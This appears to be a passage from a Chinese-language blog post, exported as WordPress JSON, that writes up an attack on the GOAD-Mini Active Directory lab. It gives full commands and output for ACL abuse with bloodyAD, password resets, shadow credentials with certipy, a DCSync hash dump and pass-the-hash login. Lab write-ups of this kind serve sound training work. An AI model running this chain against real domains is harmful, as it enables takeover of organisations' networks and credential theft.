46a497f2278fe84c1b3a71ec301f14d5e2afd823d48e4c4a9fba72d935b83436870a7e79f379f2e8d49640a6f8fb7d3f43f36034d0eb0d3b7e0401618b1e1a96e573b9bd2d312da4f5981f933f85e87ed8657f31b99b6df968e7eb60fde2e3acefa43c3e7fb5d7f62d68a649cd719cef9f467ff14c72e9ed556df40fae616affabafc49d82593da610398112d2e111397f115a3b07029d9a611031c4a499cd52123ee4bb70df94ec6642c85fd5fea5b1a5a0694aab6a619f99fccda5a5ba7de4e7c53dcefe5f3cc11f4f5da428bc18ec4b8f70d5d556b7c15c8c3bf2d5550bb76ae740b28727b84f7ec1f168147bd87ea0d28b41c59ca61b1305119236eaa343c\n[VERBOSE] SPN removed successfully for (joffrey.baratheon)<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>WriteDacl<\/code> to TYRON.LANNISTER \uff1a<br>joffrey.baratheon \u6709\u6b0a\u9650\u6539 ACL \uff0c \u90a3\u5c31\u5c07\u539f\u672c\u7684 <code>WriteDacl<\/code> \u8b8a\u6210 <code>GenericAll<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'joffrey.baratheon' -p '1killerlion' add genericall 'TYRON.LANNISTER' 'joffrey.baratheon'\n[+] joffrey.baratheon has now GenericAll on TYRON.LANNISTER<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e4b\u5f8c\u518d\u6539\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'joffrey.baratheon' -p '1killerlion' set password 'TYRON.LANNISTER' 'P@$$w0rd'\n[+] Password changed successfully!<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>AddSelf<\/code> to SMALL COUNCIL group\uff1a<br>\u628a\u81ea\u5df1\u52a0\u9032\u53bb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember 'SMALL COUNCIL' TYRON.LANNISTER\n[+] TYRON.LANNISTER added to SMALL COUNCIL<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>AddMember<\/code> to DRAGONSTONE group\uff1a<br>\u9032\u5230 SMALL COUNCIL group \u5f8c\u6709\u6b0a\u9650\u518d\u628a\u81ea\u5df1\u52a0\u9032\u53bb DRAGONSTONE group<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember 'DRAGONSTONE' TYRON.LANNISTER\n[+] TYRON.LANNISTER added to DRAGONSTONE<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>WriteOwner<\/code> to KINGSGUARD group\uff1a<br>\u5148\u5c07\u81ea\u5df1\u8a2d\u70ba owner<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' set owner KINGSGUARD TYRON.LANNISTER\n[+] Old owner S-1-5-21-3054539889-205875298-3539716541-1000 is now replaced by TYRON.LANNISTER on KINGSGUARD<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u6539\u5c0d\u8a72 group \u6b0a\u9650\u70ba <code>GenericAll<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add genericall KINGSGUARD TYRON.LANNISTER\n[+] TYRON.LANNISTER has now GenericAll on KINGSGUARD<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u4e86 <code>GenericAll<\/code> \u5f8c\u5c07\u81ea\u5df1\u52a0\u9032\u53bb\u90a3\u500b group<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember KINGSGUARD TYRON.LANNISTER\n[+] TYRON.LANNISTER added to KINGSGUARD<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>GenericAll<\/code> to STANNIS.BARATHEON\uff1a<br>\u6539\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' set password STANNIS.BARATHEON 'P@$$w0rd'\n[+] Password changed successfully!<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>GenericAll<\/code> to KINGSLANDING$ computer account\uff1a<br>\u62ff\u5230 STANNIS.BARATHEON \u5e33\u865f\u5f8c\uff0c\u5229\u7528 shadow credentials \u62ff\u5230 KINGSLANDING$ \u7684 TGT\u3001credential cache<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ certipy-ad shadow auto -u 'STANNIS.BARATHEON@sevenkingdoms.local' -p 'P@$$w0rd' -account 'KINGSLANDING$' -dc-ip 192.168.56.10\nCertipy v5.1.0 - by Oliver Lyak (ly4k)\n\n[*] Targeting user 'KINGSLANDING$'\n[*] Generating certificate\n[*] Certificate generated\n[*] Generating Key Credential\n[*] Key Credential generated with DeviceID '3117ccb6539440819fd1e6e3c8b5743c'\n[*] Adding Key Credential with device ID '3117ccb6539440819fd1e6e3c8b5743c' to the Key Credentials for 'KINGSLANDING$'\n[*] Successfully added Key Credential with device ID '3117ccb6539440819fd1e6e3c8b5743c' to the Key Credentials for 'KINGSLANDING$'\n[*] Authenticating as 'KINGSLANDING$' with the certificate\n[*] Certificate identities:\n[*]     No identities found in this certificate\n[*] Using principal: 'kingslanding$@sevenkingdoms.local'\n[*] Trying to get TGT...\n[*] Got TGT\n[*] Saving credential cache to 'kingslanding.ccache'\n[*] Wrote credential cache to 'kingslanding.ccache'\n[*] Trying to retrieve NT hash for 'kingslanding$'\n[*] Restoring the old Key Credentials for 'KINGSLANDING$'\n[*] Successfully restored the old Key Credentials for 'KINGSLANDING$'\n[*] NT hash for 'KINGSLANDING$': e2c3655173062c11d8597e9d3bb27081<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">export kerberos credential cache<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ export KRB5CCNAME=$(pwd)\/kingslanding.ccache\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ klist\nTicket cache: FILE:\/home\/kali\/mini\/kingslanding.ccache\nDefault principal: kingslanding$@SEVENKINGDOMS.LOCAL\n\nValid starting       Expires              Service principal\n08\/13\/2026 00:09:33  08\/13\/2026 10:09:33  krbtgt\/SEVENKINGDOMS.LOCAL@SEVENKINGDOMS.LOCAL\n        renew until 08\/14\/2026 00:09:33<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528 KINGSLANDING$ \u7684 TGT \uff0c DCSync \u62ff\u5230 administrator \u7684 HT hash \u5f8c\u9a57\u8b49\u53ef\u767b\u5165 Pwn3d!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ impacket-secretsdump -k -no-pass -just-dc-user Administrator -dc-ip 192.168.56.10 'sevenkingdoms.local\/KINGSLANDING$@KINGSLANDING.sevenkingdoms.local'\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)\n[*] Using the DRSUAPI method to get NTDS.DIT secrets\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::\n[*] Kerberos keys grabbed\nAdministrator:aes256-cts-hmac-sha1-96:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827\nAdministrator:aes128-cts-hmac-sha1-96:0c72a36a70f696fbee13a25fd3412d43\nAdministrator:des-cbc-md5:7f2cd0836164e592\n[*] Cleaning up...\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ nxc winrm '192.168.56.10' -u administrator -H c66d72021a2d4744409969a581a1705e -x \"whoami &amp;&amp; hostname\"\nWINRM       192.168.56.10   5985   KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 (name:KINGSLANDING) (domain:sevenkingdoms.local)\nWINRM       192.168.56.10   5985   KINGSLANDING     [+] sevenkingdoms.local\\administrator:c66d72021a2d4744409969a581a1705e (Pwn3d!)\nWINRM       192.168.56.10   5985   KINGSLANDING     [+] Executed command (shell type: cmd)\nWINRM       192.168.56.10   5985   KINGSLANDING     sevenkingdoms\\administrator\nWINRM       192.168.56.10   5985   KINGSLANDING     kingslanding<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>MINILAB GOAD-Mini so [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"disabled","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-766","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>GOAD writeup &amp; infra - my article<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/\" \/>\n<meta property=\"og:locale\" content=\"zh_TW\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"GOAD writeup &amp; infra - my article\" \/>\n<meta property=\"og:description\" content=\"MINILAB GOAD-Mini so [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/\" \/>\n<meta property=\"og:site_name\" content=\"my article\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-13T06:17:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-08-16T09:21:19+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png\" \/>\n\t<meta property=\"og:image:width\" content=\"813\" \/>\n\t<meta property=\"og:image:height\" content=\"285\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"chengyunpu\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005:\" \/>\n\t<meta name=\"twitter:data1\" content=\"chengyunpu\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9810\u4f30\u95b1\u8b80\u6642\u9593\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\u9418\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\"},\"author\":{\"name\":\"chengyunpu\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/f697887c7eea19b57c04d0a2bb4d9411\"},\"headline\":\"GOAD writeup &amp; infra\",\"datePublished\":\"2026-08-13T06:17:06+00:00\",\"dateModified\":\"2026-08-16T09:21:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\"},\"wordCount\":117,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/f697887c7eea19b57c04d0a2bb4d9411\"},\"image\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image-3.png\",\"inLanguage\":\"zh-TW\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\",\"url\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\",\"name\":\"GOAD writeup &amp; infra - my article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image-3.png\",\"datePublished\":\"2026-08-13T06:17:06+00:00\",\"dateModified\":\"2026-08-16T09:21:19+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#breadcrumb\"},\"inLanguage\":\"zh-TW\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#primaryimage\",\"url\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image-3.png\",\"contentUrl\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image-3.png\",\"width\":813,\"height\":285},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9801\",\"item\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"GOAD writeup &amp; infra\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#website\",\"url\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/\",\"name\":\"my article\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/f697887c7eea19b57c04d0a2bb4d9411\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-TW\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/f697887c7eea19b57c04d0a2bb4d9411\",\"name\":\"chengyunpu\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\",\"caption\":\"chengyunpu\"},\"logo\":{\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\"},\"sameAs\":[\"http:\\\/\\\/chengyunpu.com\\\/wordpress\"],\"url\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/author\\\/chengyunpu\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"GOAD writeup &amp; infra - my article","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","og_locale":"zh_TW","og_type":"article","og_title":"GOAD writeup &amp; infra - my article","og_description":"MINILAB GOAD-Mini so [&hellip;]","og_url":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","og_site_name":"my article","article_published_time":"2026-08-13T06:17:06+00:00","article_modified_time":"2026-08-16T09:21:19+00:00","og_image":[{"width":813,"height":285,"url":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","type":"image\/png"}],"author":"chengyunpu","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005:":"chengyunpu","\u9810\u4f30\u95b1\u8b80\u6642\u9593":"2 \u5206\u9418"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#article","isPartOf":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/"},"author":{"name":"chengyunpu","@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"headline":"GOAD writeup &amp; infra","datePublished":"2026-08-13T06:17:06+00:00","dateModified":"2026-08-16T09:21:19+00:00","mainEntityOfPage":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/"},"wordCount":117,"commentCount":0,"publisher":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"image":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#primaryimage"},"thumbnailUrl":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","inLanguage":"zh-TW","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","url":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","name":"GOAD writeup &amp; infra - my article","isPartOf":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#website"},"primaryImageOfPage":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#primaryimage"},"image":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#primaryimage"},"thumbnailUrl":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","datePublished":"2026-08-13T06:17:06+00:00","dateModified":"2026-08-16T09:21:19+00:00","breadcrumb":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#breadcrumb"},"inLanguage":"zh-TW","potentialAction":[{"@type":"ReadAction","target":["https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/"]}]},{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#primaryimage","url":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","contentUrl":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","width":813,"height":285},{"@type":"BreadcrumbList","@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9801","item":"https:\/\/chengyunpu.com\/wordpress\/"},{"@type":"ListItem","position":2,"name":"GOAD writeup &amp; infra"}]},{"@type":"WebSite","@id":"https:\/\/chengyunpu.com\/wordpress\/#website","url":"https:\/\/chengyunpu.com\/wordpress\/","name":"my article","description":"","publisher":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/chengyunpu.com\/wordpress\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-TW"},{"@type":["Person","Organization"],"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411","name":"chengyunpu","image":{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g","caption":"chengyunpu"},"logo":{"@id":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g"},"sameAs":["http:\/\/chengyunpu.com\/wordpress"],"url":"https:\/\/chengyunpu.com\/wordpress\/author\/chengyunpu\/"}]}},"_links":{"self":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/766","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/comments?post=766"}],"version-history":[{"count":11,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/766\/revisions"}],"predecessor-version":[{"id":788,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/766\/revisions\/788"}],"wp:attachment":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/media?parent=766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/categories?post=766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/tags?post=766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}